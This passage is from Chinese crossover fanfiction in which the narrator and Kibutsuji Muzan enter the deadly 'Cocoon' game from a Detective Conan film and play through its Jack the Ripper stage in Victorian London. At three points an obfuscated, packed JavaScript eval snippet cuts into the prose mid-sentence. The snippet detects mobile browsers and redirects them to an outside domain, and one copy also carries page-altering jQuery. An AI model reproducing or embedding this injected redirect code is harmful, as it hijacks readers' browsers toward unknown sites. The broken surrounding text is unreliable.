“我、我确实害怕……”虽然觉得和他可能有些跨服聊天,但是我确实也是害怕,我看着他听见我直言不讳地承认后有点语塞的表情,“要不你听我讲讲,整个事态已经开始朝无法控制的方向发展了,接下来会发生什么我真的不敢想。” 他边说着有那样严重吗边拉着我走到会场角落没什么人注意到的地方,示意我快些把理由讲出来。“你最好给我一个合理的解释。”他这么说。 我措了个辞,在犹豫过是否要全盘托出后把《名侦探柯南》的故事大致和他描述了一遍。 “怪我,我早该想起来的,名为「茧」的游戏,是剧场版《贝克街的亡灵》里面的东西,太久没看了忘记细节了。”我复杂地看着他,“而且地点也是米花市政厅,我直接完全忘记这个重要的地方。” “你说这部作品类似侦探小说,人类破案的故事也没什么好担心的吧。” 他果然没把那种药物变小返老还童放在心上,孩童的身体还是太孱弱了,他追求的是将□□保持在最佳状态的那种永恒,所以《名侦探柯南》里的A药应该不是他的菜。 而且要说的话,大正时代的鬼王还是对后世漫画动画创作者的脑洞有些低估了,这哪是当时推理黄金时代的老本格啊,这纯纯奔着科幻动作大片去了! “这里还只是第六部剧场版,也就是早期故事,所以问题还不大,但是后面这个故事会变得越来越离谱,你能想象……”我一句电车轨道极速狂飙与电车肩并肩挂在嘴边,想起鬼舞辻无惨暂时还无法想象这个画面,停顿一下换了一个例子,“你能想象在水下爆炸、把水底都照亮的花火吗?” 他做思考状。 “你再想想那个那个,一种液体和另一种液体只要融合就会变成烈性炸药炸毁一整条街,它们装在气球里,气球挂在街上、爆了,然后它们马上要顺着斜坡流下去汇合了。” “写出这个情节的人真是毫无自知之明。”他抬手打断了我继续给他举例的打算。 我脱口而出一句:“你说得太对了。” 这里是《贝克街的亡灵》的发布会现场,我和鬼舞辻无惨都拿到了游戏体验资格,尽管不知道是谁给的,但那意味着我们都有机会进入到这部电影剧情发生的舞台。出于一种不死心,我拿出手机搜了一下作品名,结果和之前搜索《鬼灭之刃》一样了,连视频网站都没有一点相关剪辑。 是整个世界被改变了,而我们已经不可避免地被拉入了这个不再熟悉的世界,不,或许从见到鬼舞辻无惨那一刻起,就已经不再是我原先生活的那个世界了。 “那么你的意思是,那个设备可以使里面的人进入沉睡,将大脑意识放在虚拟的空间里进行游戏;而这场游戏若是所有参与测试的人都在中途失败的话,幕后主使便会控制设备使他们脑死亡,只要有一个人完成游戏,所有人都会获救。” 会厅的灯光暗下来,鬼舞辻无惨的红眸微微发着光。 很快,周围墙壁上五彩的射灯将众人的注意力吸引,最后聚焦在舞台上。舞台地板缓缓打开一个洞,卵形的游戏设备和模特从下方升上来。模特跟着主持人的介绍佩戴好设备坐进舱内。 他看向那边,对这台全新的设备很是好奇。 别说他了,即便是早期剧场版,这种游戏设备也是现实世界远没有达到的技术,若不是放在这样的作品背景里,我也真的很想体验一下。 “差不多,而且我熟悉的也只有电影里表现出来的,十九世纪的伦敦,那个地方。”尽管我不是很想真的和死神小学生本尊认识,但去其他地方我更没有头绪,也不清楚自己若是在游戏内失败是否也能像其他人一样等到电影结尾自然醒来,还不如求个稳妥。 但是话说回来我是不是可以选择不去啊? “脑死亡……我倒是想知道,那个名为人工智能的存在打算如何用这种方式杀死我。”鬼舞辻无惨在旁边喃喃自语,饶有兴致地打量着台上的茧游戏舱。 呃,他该不会真的对这东西感兴趣吧。 哥们,我知道你喜欢舶来品啊新式器具这些物质层面让你感到新颖的东西,但现在不是时候吧,这个东西是想杀你啊! 似乎是从我麻木的表情中读出了我在想什么,他重新看向我说:“这样的东西想杀死我还是太异想天开了吧,鬼杀队都知道把我拖到日出。” “所以你还是想去?十九世纪伦敦主题是至今悬而未决的案件——开膛手杰克,与此同时开发者里有侦探小说家,所以将黄金时代的知名侦探角色福尔摩斯也放了进去。” 我把游戏内的背景和他讲了,有些意外的是,他说他曾在图书馆借过《福尔摩斯探案集》,作为伪装孩子时不至于表现得太成熟的掩护。 借了就自然在闲时阅读过,尽管那时的他无暇评价人类的文学作品。 “那如果你想的话,我和你一起吧。”我把方才取下来的胸针又戴好,“有些剧情我没法一下说得很清楚,进去之后跟你随看随讲。” 他用一种难道我本来不打算去了吗的眼神看向我,理所当然地开口:“我本就打算让你一同去,有什么问题吗?” “……不,没什么,看来我们还有点默契。”我前言不搭后语地回了他的话,看着人群逐渐涌向放有游戏舱的会场,指了指方向告诉他我们该往那走了。 说实话,我还是有点后悔。 主要是在过安检坐进舱内的时候,因为周围都是个子不比我腰高的小孩子,我一个大学生站在里面有些太过突兀了。 毛利兰好歹也只是高中生,我这样真是有点太社死了,闭眼深呼吸后,我努力说服自己,就当年轻好几岁回到高中吧。 哦,你问鬼舞辻无惨啊,他远远地看见排队的都是孩子,早就找了个地方变成孩童的拟态了。 ……我讨厌他。 “俊国,进去游戏之后要听姐姐的话哦。”我强忍着笑意拉着他的手走到一座游戏舱前,看着他抬腿跨入舱内,夹着嗓子报复性地说了一句。 他额上突起一段青筋,面上仍是维持着好孩子的模样,回我一个乖巧的笑容:“嗯,姐姐游戏里见。” 游戏见就游戏见,电子游戏内大家都只是大脑意识的数据,我就不信到那里他还能用血鬼术什么的打我。 我躺在舱内闭上眼,意识缓缓陷下去。我只感觉自己像是飘在什么虚无的空间中一般,周围感受不到寒冷还是温暖,身下没有支撑物,但也没有随着重力向下坠落。 虚拟世界就是这样的体验吗,我这么想着,在感受到外界压力消失之后睁开了眼。 身边是一片漆黑,就像那部剧场版的入场等候区一样,但没有其他孩子。 鬼舞辻无惨正站在前面的不远处抬头看着上方的什么东西,像是个巨大的屏幕。 奇怪,他为何在这里是成年男性的那副模样? 【欢迎两位玩家正式进入游戏】 【在此向两位介绍本游戏内容】 【玩家可自由选取关卡世界并进行闯关,完成任务后可获得奖励,也可在商城内兑换道具】 【祝玩家游戏愉快】 “弘树的诺亚方舟不是这样的。”我走到鬼舞辻无惨身边出声道,既是对他说,也是询问天上那块屏幕。 【本关卡是《名侦探柯南:贝克街的亡灵》,请玩家完成剧情任务,完成后可获得任务奖励】 答非所问的东西。 “很显然,这并不是那部电影作品的那个人工智能,而且看上去,就算你之前选择离开,也会去到下一个……‘关卡’。”他倒是很快就理解了这些内容,看上去一点都不意外。 我盯着他发了会愣,在他反问我做什么之前开口问他:“你……是不是早就知道会有这个?” 说不上来为什么我会这么问他,只是感觉他对现在这些事情的反应太平静了。 虽然他本就是不会慌乱的人,但这已经是超出认知的内容,再加上他之前就一直有什么没告诉我的样子,我不得不把这些联想在一起。 他早就知道这个莫名其妙的什么游戏了? “在去你家之前。”他只简短地答了一句,随后看向屏幕上的文字。 这下就全说通了。 他早就知道这个游戏系统的存在,并理解了这莫名其妙的游戏的要求,估计对他来说第二次生命、甚至是直接克服阳光的能力被作为奖励许诺给了他,所以他从一开始就表现出谨慎的姿态。 哦……他应该没有把我当成一般路过游戏角色吧? 不过那个系统的意思是我和他都是玩家,也就是说这还是双排模式,这优秀的匹配机制甚至给我组了个鬼舞辻无惨当队友,不得不说,也不错。 毕竟他的战斗力是真的强啊,就算我不会拳脚,也能抱他的大腿,实在不行还能让他干脆把我变成鬼,打不过也没那么容易死。 “别想了,如果能用血鬼术的话,你活不到现在。”似乎猜到了我在想什么,他的目光淡淡地扫过来,“现在也无法转化新的鬼,不然我也希望能有个至少不是一次性的棋子。” “我会努力不那么一次性,作为普通人类。”我尝试给自己挽尊,算是理解了他的意思。 没有血鬼术,无法将人变成鬼,现在的他只是体质和力量上强于人类,还有拟态这种不太能应用于战斗的能力。 老游戏玩家的我突然意识到系统商店可能是关键。 “现在可以看商店道具吗?”我抬头问那块屏幕。 【商店将在玩家完成第一关任务后解锁,请完成任务】 好嘛,这还得过新手村。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“现在我将播放五种舞台的宣传影像,请从中选择自己想要玩的世界。”温柔的男孩子的声音随着上空一闪一闪的光环响起,五座石门和后方的道路围着候场的空间亮起,“不过,有件事要注意一下,这不是单纯的电视游戏,这可是关系到你们性命的游戏哦。” 还没有人意识到事情的严重性,这里的孩子们都是作品中日本政要和富豪的小孩,大概很多连生死是什么都还不明白。 “如果所有人都出局的话,你们就回不了现实世界了,所以你们得认真地玩游戏才行。只要有一个人到达终点,就算你们赢,之前出局的人,我也会放了他们,这就是我的规则。” 回不到现实世界,这个说法真是微妙。 “他的话是这里与外界同步的,现在外面的会厅里,所有家长都在听着。”我盘腿坐下,给鬼舞辻无惨解释着,顺便把主角团的人给他简单介绍了一遍。 他双手抱臂冷眼看着开始感到害怕的孩子们,这神情与他现在的外表实在是有些违和。他的目光落在面露警惕的江户川柯南身上,听着诺亚方舟的发言,说:“以日本的重新来过为赌注的胜负,真有意思。” 诺亚方舟向无法理解世袭制的孩子们讲述着自己的目的,我有些没绷住轻声笑了一下,对他说:“世袭制是这样的,你刚才有注意到吧,那几个自大的小鬼,如果不好好教育的话,长大后会变成糟糕的大人呢。” “人类千年来一直如此,但这本就与我无关。” 我和他在一旁看着五个影片播放过去,而孩子们几乎要乱作一团,这个时候身为高中生的毛利兰就发挥了年龄优势,出声安抚了所有人的情绪,让大家选择自己认为最有可能活下来的关卡进入。 诸星秀树说着没办法只能硬拼了,带着他的小跟班们走向老旧时代的伦敦。 “哦对了,你想听一些透底的东西吗?可能会破坏推理体验哦。”我突然想起来最关键的一个信息,看向鬼舞辻无惨。 他闭上眼静静听着周围的动静,说:“我又不是推理爱好者,你也应该把自己知道的都说出来。不过我猜,你想说那个很嚣张的小鬼?他应该不是外面躺着的那个吧。” “诶?直接猜到了?” “因为语言和行为习惯有差异,即便他认为自己模仿得天衣无缝,但细节上还是做不到完美。”他睁开眼看向那边,“说说吧,他是什么?” 好没劲啊,本来还想卖个关子让他惊讶一下呢。 我看着孩子们都各自选择好准备进入关卡了,叹口气站起来道:“是诺亚方舟,或者可以说是弘树的意识,这孩子本人只是普通地睡着了。可以说从一开始诺亚方舟就没有打算真的让所有人死掉,所以如果你不想管他们的话,我们进去之后找个借口分头行动,然后等到他们通关就行咯。” “不用,上世纪的伦敦我也只在报纸和书籍中读过,正好看看是什么样的,而且我也好奇,你口中那个至今悬而未决的连环杀手,能做到什么程度。走吧。”他抓住我的手腕向前走,径直穿过还有些争吵的少年侦探团和富哥小伙们,走向通路另一边的入口,看得几个孩子都愣住了。 穿过发光的白色光门,刺鼻的石炭煤烟味涌入鼻腔,眼前是一片灰黄色的尘霾,笼罩着夜晚的维多利亚风街巷。 这里就是,十九世纪的英国伦敦。 5. 第 5 章 “空气中工业污染的气味很重,吸入太多对人体健康有害。”鬼舞辻无惨进门之后放开了我的手腕,但抬头看了我一眼,莫名关照了一句。 我张口愣了愣,缓缓感慨道:“你人还怪好的。” 虽然这个游戏只会模拟味道,并不会真的损害人体。 “怎么了,难道不是你需要的情绪价值吗?”他转过身来对我说,“我想了一下,如果你能提供有效的情报,确实也是有用的人,给你一些你想要的作为奖赏,并非不可。” 男孩的眼中满是冷漠,但也有很少的一点赞许,大概是承认我并不算累赘了。 太好了,之后应该没那么容易被他丢掉了。 不过话说回来,我长出一口气,伸手拂动周围模拟出来的雾霾:“无惨,我想要的情绪价值是你在我能看见的地方,或是在一个我知道的可以接触到的地方,只是这么简单的事情。” 我又一次蹲下与他平视,看进那双拟态人类时靛蓝色的瞳孔。 “这么说好像又要让你不高兴了,但你真的不需要做任何事,我更习惯也更喜欢你本身的性格。如果真的要考虑我的感受,那我的要求、我的请求就是不用考虑。”俊国确实很可爱,想到这里我不禁微笑起来。 “真是拦不住的犯贱。”他不冷不热地说完这句后立马换上了乖孩子微笑的面容,我知道是少年侦探团从后面的门里出来了,“姐姐,看来也有很多人选择这一关呢。” 我回过头迎上几个稚嫩的目光,他们方才看着我被拉着走过来已经很惊讶了,现在更是好奇地打量着我和身边的“俊国”。 “你们好,我叫白夜,这是我弟弟俊国。”我转过身单膝跪地在鬼舞辻无惨身旁,表现出什么都不知道的样子,礼貌地和他们打招呼,顺便夸了他们几句,“刚才在外面就看见你们了,没有被诺亚方舟的发言吓到,还帮忙安抚大家的情绪,你们很棒呢。” “那当然啦,因为我们可是少年侦探团!忘记介绍自己了,我叫小岛元太。”元太骄傲地介绍了他们的团队名,几个孩子依次做了自我介绍。 “他是柯南哦,是我们这里最厉害的。”步美指向柯南,又指指灰原哀,“小哀也很厉害,我们一定可以一起走到终点的。” 鬼舞辻无惨在我身边用童声发话:“看出来了,他们两人都有种不符合这个年纪的成熟。” 我别开了目光,才不是为了掩盖自己差点就笑出来了。 “俊国也很成熟呢,看起来是非常稳重的孩子。”毛利兰走到我跟前,我起身对她点点头。 至于那几个富哥们,算了,反正他们很快会被淘汰一批的。 我偷偷看了一眼诸星秀树,他没有表现出任何异常,如此的话我也最好不要打草惊蛇。 交谈还未来得及进行多少,便被巷内传来的尖叫声打断。柯南本着生怕不被人发现心理年龄太成熟的性子,向着声源冲了过去,我看着纷纷跟上去的毛利兰和少年侦探团,对鬼舞辻无惨点点头,也往那边走去。 我还是走得有些闲庭信步了,连那个小黑·开膛手杰克皮肤的影子都没看见,走到的时候柯南正捂着脚龇牙咧嘴。 呵呵,从按住牛顿棺材板这点来说,诺亚方舟干得太好了。 尸体被路过的人发现,路人惊恐地大喊,又是开膛手杰克犯案了。 不一会,两名巡警拨开人群来到尸体边,将现场保护起来,互相说着去找雷斯垂德警官。 “看样子,我们是不可能直接走过去对警察说,‘我们是侦探,来帮助你们抓捕凶手’这样的话了。”鬼舞辻无惨完全没有看现场,直接向反方向走出去,“会被当作捣乱人员抓起来的吧,那样的话估计也会算出局。” 嗯,我是不是还是该提醒他再稍微努力装装小孩子……这甚至比柯南还要不像小孩了。 “血液的气味也模拟得很真实,只不过,闻起来没有一点想要进食的欲望,果然只是仿造出的假象。”我和他走在较前面些的位置,或许是他在打完招呼后还是表现出了那副生人勿近的气场,原作的几个孩子都没有上前来与我们交谈的。 我又深呼吸嗅了嗅空气中的尘霾味:“如果是现实中长时间吸入这个,我可能已经开始慢性咽炎了,不过这里确实没有任何不适。哦,他们停了,就当是沉浸式观影吧,看看小孩子怎么破案的。” 相亲相爱的主角团上演了一场互相给外套的家庭剧,看得鬼舞辻无惨也扮出好孩子的笑脸,拉拉我的手指问我:“姐姐,你冷吗?” “我不怕冷的,没事。”我趁机捏了捏他现在的小手,他立马收了回去,在旁人注意不到的地方瞪了我一眼。 天空中无端传来阿笠博士的声音: “听得到吗柯南?我是阿笠。” “嗯,我们到那边去吧,这个桥一会就要塌了。”不用和鬼舞辻无惨解释缘由他都能明白,这种近乎作弊的方法肯定是不会被诺亚方舟允许的。 柯南和阿笠博士对着话,后者刚说到我们所在的位置的白教堂,要前往能帮助我们的角色所在地,通讯就逐渐模糊,随后石桥在顷刻间崩塌。 果然剧情上还是大差不差,诺亚方舟大概没有将我们判断成外来的入侵者,也是那个游戏系统直接修改了某些认知。 诺亚方舟的声音也从天上传来,宣告着自己对游戏的所有权,以及警告外界的警察们不要想着作弊。 “那走吧,该去贝克街了,去找福尔摩斯。”鬼舞辻无惨几乎是抢了柯南的台词,但他又不像典型的侦探那样喜欢发表长篇的推理逻辑,所以听得其他几人都有些一头雾水。 柯南还是拿回了自己的高光,勾起嘴角自信地笑着说:“刚才的警察不是说了,联系雷斯垂德警官嘛。” “可那不是出现在柯南道尔的小说中的角色吗?”毛利兰显然也记得新一与她提过的那些侦探小说,困惑地问道。 “这个世界有可能是将小说和现实混起来的,同时出现也在意料之中。”灰原哀笑着接上原因。 “对,所以能帮助我们的角色就是夏洛克·福尔摩斯,只要找到他,就能得到很大的帮助。”柯南清清嗓子,按捺不住心中的兴奋,对少年侦探团的几位说道,“走吧,去贝克街。” 没有任何十九世纪的英国货币,从白教堂到贝克街,说远不远说近不近的路程只能走过去。路过大本钟的时候,诸星秀树停了下来,看着倒行的指针,指出了异常。 我心说好明显的提示,躲在队伍后面和鬼舞辻无惨有一句没一句地双人私聊。 “说起来,俊国看起来很成熟,但果然还是有些黏着姐姐呢。”毛利兰看见我俩嘀嘀咕咕地说话,微笑着感慨了一句。 我咬了咬下唇,忍了会笑意,随口扯道:“这孩子平时就很体贴家里人,他刚才还在后悔不应该拉着我一起来参加游戏呢。” 是体贴,太体贴了,我突然想起了刀匠村最后一集。 “不过幸亏我还是来了呢,不然俊国一个人遇到这种情况,一定会很难过吧。” 我蹲在鬼舞辻无惨面前,挡住了他对我满嘴跑火车嫌恶的神色。 “唉,就当是我对你一个人变成小孩子,让我社死的一点小小的报复,原谅我吧。”我在他肩上拍了拍,小声说完后起身。 他没多说什么。 和预想中一样,福尔摩斯和华生都不在贝克街221B的住所,房东太太说二位前往达特摩尔了,而柯南和毛利兰反应过来,这里对应的是原著中巴斯克维尔的猎犬事件。 至少剧情上没有大问题,至此我终于松了口气,我原本也担心过受那个游戏系统的影响,诺亚方舟会变成更危险的智械危机,现在看来,至少还是那个经典的动画电影剧情。 房东太太似乎将我们一行人和贝克街游击队搞混了,将我们请入了公寓。在房东太太准备茶点的时间里,几个孩子们都开始在房间内搜寻起来。 我看着书上自动从英语变成日语的一行行字,认命地合上放回书架。 好吧,游戏给了自动翻译反而比英语更难看了,从英文翻译成日语的文本中夹杂着大量外来语和片假名,看得真是让人头大。 按照剧情来说,此处的开膛手杰克与莫里亚蒂教授有着关联,不过大概还是出于对孩子们身心的保护,莫里亚蒂并没有在游戏内过多作为反派出现。 我想想接下来是干什么了来着,好像是去市中心的扑克牌俱乐部找莫里亚蒂的心腹莫兰上校,然后有一波混战,会淘汰掉几个人。 要打架啊,有点不是很想参与……嗯……鬼舞辻无惨在这里不能用血鬼术,小孩子的形态也不可能允许他大打出手,突然变成了一种诶我打莫兰上校吗的局面。 柯南从后门溜进去查看情况,鬼舞辻无惨看了他一会,跟着他一同进去了。 我有些尴尬地摸摸脸颊,装作无事发生钻进了门缝。 “你对这样的行动很熟练啊。”他无声地站在专心观察俱乐部中央方桌上牌局的柯南身后,突然说道,把柯南吓了一跳。 “你怎么跟进来了?这里很危险,快出去。”后者压低了声音说道。 少年不在人群中,表情也变得冷冰冰的,只说:“真不像这个年纪的孩子会有的表现,江户川柯南,你是个神奇的存在呢。” 我在柯南的眼神变得奇怪起来之前介入了这场对话。 好了不要再说了,再这样下去我俩得变黑衣组织的人了,这剧场版也要变成莫名其妙带主线的恐怖片了。 “莫兰那家伙,牌运很好嘛。”诸星秀树不知何时也带着跟班溜了进来。 柯南说那只是因为他利用宠物猴出了老千,富哥秀树反手来了一出卖队友,公然站出去指认这群反派角色的牌局有问题。 知道的是诺亚方舟要推剧情强行减员了,不知道的还真觉得是熊孩子呢。 在他拿着从福尔摩斯的住所顺来的手枪威胁对方时,我想了想从背靠围栏坐着的姿势蹲了起来,看来不可避免地会有一场打斗,虽然这里让几个孩子淘汰掉也没太大关系,但若是可以的话给之后增加点帮手也是好事。 或许应该先行把诸星秀树这小孩因为承受不了后坐力而掉在地上的枪捡走。 枪声响起,子弹划破莫兰上校的肩膀,勃然大怒的男人一声令下,俱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679137|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐部内的人都攻了过来。 我躲过几个人的抓捕,滑铲过去捞起手枪,正思考着要不要现在就用,衣领突然被什么人拽住,整个人都被向后拖去。 我暗叫不好,真的被压制住的话就会马上出局,身后人也不知为何将我从后门拉了出去,一直走向屋外的小巷。 我脚下打滑踩不住重心,抱着手里的左轮手枪有些认命地抬手对准身后。 手指搭上扳机时,身后传来了说话声:“别发疯。” 我沉默了。 我放下了手枪,认命地被拉进无人的巷中。等对方停下后我重新站稳,转过身看向他。 “所以你的意思是,我们别参与他们的战斗,隔岸观火就行,是吗?无惨。” 不知道用了什么方法在游戏内变回成人模样的鬼舞辻无惨看向别处,一副事不关己的模样,大概算是默认了。 好吧,反正至少捞到枪了,也能派上用场。 “那我们什么时候回去?”我将枪别在腰间,“又怎么和他们解释呢,毕竟突然消失了。” “不用解释,因为我不想和那几个小鬼一起行动了,吵得头疼。”他听着逐渐安静下来的扑克牌俱乐部,瞥见缓缓驶来的马车,拉着我的手臂往小巷深处再走进去,“他们会认为我们在没注意的时候被淘汰了,不想出局的话就走吧,那辆马车上的是莫里亚蒂。” 嗯?我跟他说过这么多细节吗? 仔细回想应该是没有。 真是有些快到恐怖的思考能力,脑子多就是好使。 “开膛手杰克下一次的行动目标是艾琳·阿德勒,算是……福尔摩斯的暧昧对象吧。”离开扑克牌俱乐部后,我和鬼舞辻无惨走在游戏内的伦敦街道上,“不过这段剧情你如果懒得看,我们直接去查令十字车站等最后一班车就行,这部电影最后的决战在那上演。” 已经过去很长时间了,但没有任何饥饿或困倦的感觉,每次想到这一点,就还能想起来,自己果然还是在游戏的虚拟环境内。 “你说他们会在那里再次淘汰三个人?真是毫无意义的行动,游戏内角色甚至不涉及现实中的人命,那几个小鬼不考虑自己和其他人的性命,悠哉悠哉地救路人角色。”他自然是对柯南一行人的行动表示厌倦,这也是他当时不想再和他们一起行动的原因。 这么说来他把我拉出来还蛮不错的,是否说明我身上的标签可以有【队友】二字了。 “主要是角色采用了现实的一些形象嘛,简单来说就是,这里的艾琳形象是柯南的母亲。”我摊手向他解释,“也不是不能理解吧。” “那也影响不了他在现实世界的母亲,不是吗?”他啧舌不悦道。 我承认我有点被他说动了。 但本着早期剧场版是神作不允许任何人忤逆诋毁的原则,我脱口而出:“因为他要保护自己的麻麻不被抓走。” 鬼舞辻无惨看着我。 “你的脑子真的坏掉了吧,出去之后记得看看医生。” 我们一路向着白教堂的方向去,那里有开膛手杰克犯案的现场,虽然尸体和血迹早就被清理了,但也有些东西可以看看。 虽然我是已经知道电影剧情没什么好看的了,但英式建筑还有白教堂这座基督教宗教建筑是鬼舞辻无惨想看的东西,左右离下一个阶段的剧情还有点时间,更何况我俩真的啥也不管也没事,所以到处走走也无伤大雅。 话说回来白教堂好像因为战争损坏,到现代已经拆除了来着,那我也顺便好好看看吧,来都来了呢。 夜晚的基督教建筑有些阴森,发生过命案的地方,郁郁葱葱的草地掩盖了鲜血的痕迹,这里什么都没有留下。 “虽然外面的事跟我们就更没有关系了,不过现在外面也有一起命案,所以有不少警察,等游戏结束后,我们得尽快离开这里。”外界的观察视角主要放在柯南一行人上,但我仍不确定是否还有人单独开小窗监控我和他的行动,便还是靠近他耳边小声告诉他。 啊,还有原本的结局是只有柯南和被借号的诸星秀树两人到达终点,如果我中途消失,最后被发现一直没被淘汰的话,会不会被那好奇小孩追着问很多问题? 要不找个机会让自己出局好了,我想着,摸了摸腰间的手枪。 身边的脚步声小了下去,我回过头看去,鬼舞辻无惨站在那边,望向远处的天空。 游戏内的时间来到了第二天的日间。 阳光洒在他身上时,他下意识抬起手挡了一下,脚下也向一旁迈出半步,随后又停下,皱着眉放下手臂。这里是游戏,游戏内的太阳自然不会伤到他分毫。 他看向日出的眼神晦暗不明,只一会便垂眸转过头不再看那边,几步走到我前面,丢下一句:“虚假的幻象实在是无聊。” 我看着无惨的背影向前去,转动眼珠看了一眼在晨光中逐渐热闹起来的街道,低头笑了笑,加快步伐跟了上去。 “下次有机会能不能变成女性形态啊,我想和那样的你去完成游戏任务。” “你在做梦。” “这个游戏就是在梦里,所以我确实在做梦。” 6. 第 6 章 无惨说他不想浪费时间去剧院,为了救无关紧要的人而减员,太愚蠢了。 我说那就依你好了,我们找个地方等到夜晚就行。 “开膛手杰克逃入那辆列车后会伪装成普通乘客,被揭穿后就是最终的boss战,而那之后还有一些劲爆尾杀……”我回忆着许久没看的电影,想着结尾部分的细节要求,“那个我想想,如果是有成年人在的话应该不用像原作那么麻烦,不过我的建议是我们找机会提前出局,这样就不用跟那个人工智能对话了。” 人工智能,这个科技产物在我自己生活的时代尚且还做不到弘树这样完全智能甚至还原出情感,《贝克街的亡灵》自然是有科幻要素了。我并不排斥这项技术,但要我直接和那样的人工智能对话,哪怕是孩子,也感觉有些不太舒服。 更何况真正的劲爆尾杀其实是他喊出了工藤新一的名字。 我不敢想象自己和无惨如果真的和他本体对话,会被说出什么,是那个系统和游戏的真相,还是世界认知改变的由来?思维发散开就会难以收场,我宁愿不去面对他。 “为什么?那不过是个心理年龄只有十岁的小鬼。”他已经基本理解了一切现代术语,他似乎是有点想去见那个弘树的,不知是否是想从那得到青色彼岸花的信息。 我抿抿唇:“我是胆小短视的人类啦,就是害怕一些……唉……反正就请你帮帮我吧,这边结局尘埃落定之后帮忙在游戏内杀了我让我出局。” “你也不怕我故意破坏整个游戏,让那几十个小孩都脑死亡。” 他自然是不怕那种电波的,估计连疼痛都不会让他感受到。 “弘树不会让事态真的发展到那一步,而且就算真的变成那样了,后续的尸体认领、检验,还有现场痕检和后续调查工作都会给你带来很多麻烦。我们毕竟是被强行塞入这个世界的。” 电影剧情结束后如何离开这里前往下一个世界暂且还是未知,但他必定是要从米花市政厅离开的,现代社会的热兵器武装比百年前强了数个等级,他应该更不会做那种引人注目的行为了。 “呵,不得不说,在‘为我着想’这件事上你有些小聪明。”他阴阳怪气地夸了我一句。 感谢夸奖。 现在的时间是白天,游戏内的阳光洒在他身上没有任何反应,但我猜他也不会感到任何阳光的实感。 伦敦这地方的太阳也不是很舒适就是了…… 该说到底还是游戏吧,尽管还原出了街景与当地人的流动行为,找路人交流也能正常说上几句,但偏离主线的地方还是无法完全还原现实。 甚至当我们漫无目的地走到某一处,想拐进另一条路时,前方有某种看不见的东西挡住了我们的去路。 我告诉无惨这是空气墙,应该是游戏内的地图到达边界了。 “前面的区域以后再啊不对,前面虽然能看见延伸的景物,但没法往前走了,整片地图区域就只有与游戏主线相关的。”我是没想到诺亚方舟作为人工智能,掌控的游戏居然也无法做到完全拟真。 不过也合理,这部剧场版的作品内时间并不算超前,任何计算机都还没有可容纳大地图的内存。 “对了,”我回头看着无惨,“为什么你在这里还能从小孩变回成人?理论上来说我们都是意识的数据,做不到现实中的……” 他打断了我:“既然是意识,那便想到自己要做什么不就好了,只要是我本就能做到的,想这么做的时候,意识自然也能转换。” 嗯,所以关键是游戏外的自己在生理上也能做到的事? 还是有些没明白,但我已经打消了在游戏里变两把超级武器直接火力压制开膛手杰克的想法。 就一把左轮能做到什么呢,虽然是摸过来了,但这个年代的手枪对训练有素的人来说算不上太大威胁,如果用不好的话后坐力还会让我无法行动。 还有就是,我真的能做到对人开枪吗? 得了,诺亚方舟宣称要让日本重新来过,在游戏中给这些孩子上了一堂人生教育课,真是快给我也上进去了。 “我们去火车站吧,电影里刺杀行动前的事情一笔带过了,我不确定时间流动是否正常,如果时间加速的话我们可能会赶不上火车。” 话虽如此,其实我和无惨真的什么都不做也可以躺赢吧。 但他似乎真的有些好奇这个游戏的最终战斗轮,也很想见见诺亚方舟本体。 呜哇不想去……他能不能现在就把我处理了。 我最终还是站在了查令十字车站前,无惨买了一份报纸坐在长椅上阅读,我到处乱转进行一个聆听检定的尝试。 路边人聊的都是些常见的英国人天气环节,还有日常的琐事,但随着太阳逐渐西沉,车站熙熙攘攘的人群中多出一些其他的声音。 “听说剧院那边发生大事故了。” “是著名演员艾琳·阿德勒在表演的时候吧,吊灯整个砸了下来呢,然后剧院还烧起来了。” “是不是有人要杀她啊……” 我重新走过列车时刻表看了一眼,快步回到无惨身边,小声喊了他:“剧院那边的情节发生了,我们准备上车吧。” 他抬眼看了看列车轨道,收起报纸。 不知为何我在坐上车厢内座位的时候突然大脑灵光一现,又问他:“我们要不要,到上面去?” 我指了指上方,列车缓缓行进起来,余光所及之处三个身影从站外跑了进来,险险地上了最后一班列车。 “他们会请列车员把所有乘客都聚集到一间车厢,在那之后,被戳穿身份的开膛手杰克会挟持毛利兰前往车顶上。我比较想先去那边等着,至少先躲开列车员吧。” 于是新的问题来了,我有点上不去车顶。 剧场版里柯南是让诸星秀树托了他一下,借着车头的某根管子爬上去的,但说实话这还是很不科学,这样的小学生究竟是怎么做到的? 拜托,这车厢怎么说也比一个成年人高啊。 无惨在一分钟之前找了间无人的包厢,打开窗翻了上去。 “你有没有办法帮帮我……”不能再思考下一个一分钟了,我从窗口探出身子寻找他的身影,只看见他的裤脚,正随着火车行进带起的风作响。 他双手抱胸做看戏状:“这个游戏里鬼的体质并没有多少作用,你只需要手脚机灵点就能爬上来,当然你要是想在这里坠车淘汰我也没意见。” 我抿抿唇,抬脚踩在窗台上。等我的两只脚都踩上去,半个身子悬在窗外时,我只能双手扒紧窗框,不让自己失足摔下去。 我纠结了一下是该先抬脚还是先伸手,思考了半天又不是很敢让自己四肢中的任何一个离开原本的位置,于是我这么僵在了那里。 好后悔啊!早知道就让他把我淘汰了! 头顶传来微不可闻的叹息声,随后衣领被什么人揪住,还来不及抱紧窗框,我整个人就悬空起来,微凉的风吹过脸颊,回过神来时我已经被放在了火车顶上。 “谢谢……”我几乎是趴在车顶上,脚步声逐渐远离,抬起头来时无惨已经向前面走过去了。我试探着站起身,在狂风中稳住重心,一点点向他那边走去。 最终战的开启标志应该是前方车厢传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 